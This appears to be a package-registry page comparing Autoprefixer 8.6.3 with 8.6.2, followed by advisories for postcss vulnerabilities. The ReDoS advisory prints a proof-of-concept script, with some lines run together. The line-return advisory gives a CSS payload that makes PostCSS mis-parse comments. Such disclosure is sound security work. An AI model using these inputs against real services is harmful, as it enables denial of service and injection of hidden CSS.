Autoprefixer version 8.6.3 represents a minor but important update over its predecessor, 8.6.2, focusing on improvements in browser compatibility data and internal refinements. Both versions share the core functionality of parsing CSS and adding vendor prefixes, ensuring your stylesheets work across a wide range of browsers based on data from the "Can I Use" website. Developers leverage Autoprefixer to automate the tedious task of manually adding prefixes, enhancing workflow efficiency and code maintainability.
A key distinction lies in the caniuse-lite dependency. Version 8.6.3 utilizes caniuse-lite version 1.0.30000856, while 8.6.2 relies on an older version, 1.0.30000851. This difference in the caniuse-lite package implies an updated database of browser support for various CSS features. Upgrading to 8.6.3 effectively brings the latest browser compatibility information into your prefixing process, potentially adding prefixes for newer features or removing obsolete prefixes, ensuring optimal compatibility and cleaner CSS. This is particularly relevant for developers who want to keep up with browser updates and CSS developments reducing the need to manually check and update prefixes, saving development time and improving the user experience across different browsers.
Furthermore, unpacked file size increased from 338329 to 340511 suggesting potentially larger data from caniuse-lite package. The release date difference from June 9th to June 18th indicates a quick turnaround focusing on improvements. Both versions maintain the same dependencies for core parsing and utility functions, ensuring a stable experience with PostCSS, Browserslist, and other core dependencies.
All the vulnerabilities related to the version 8.6.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.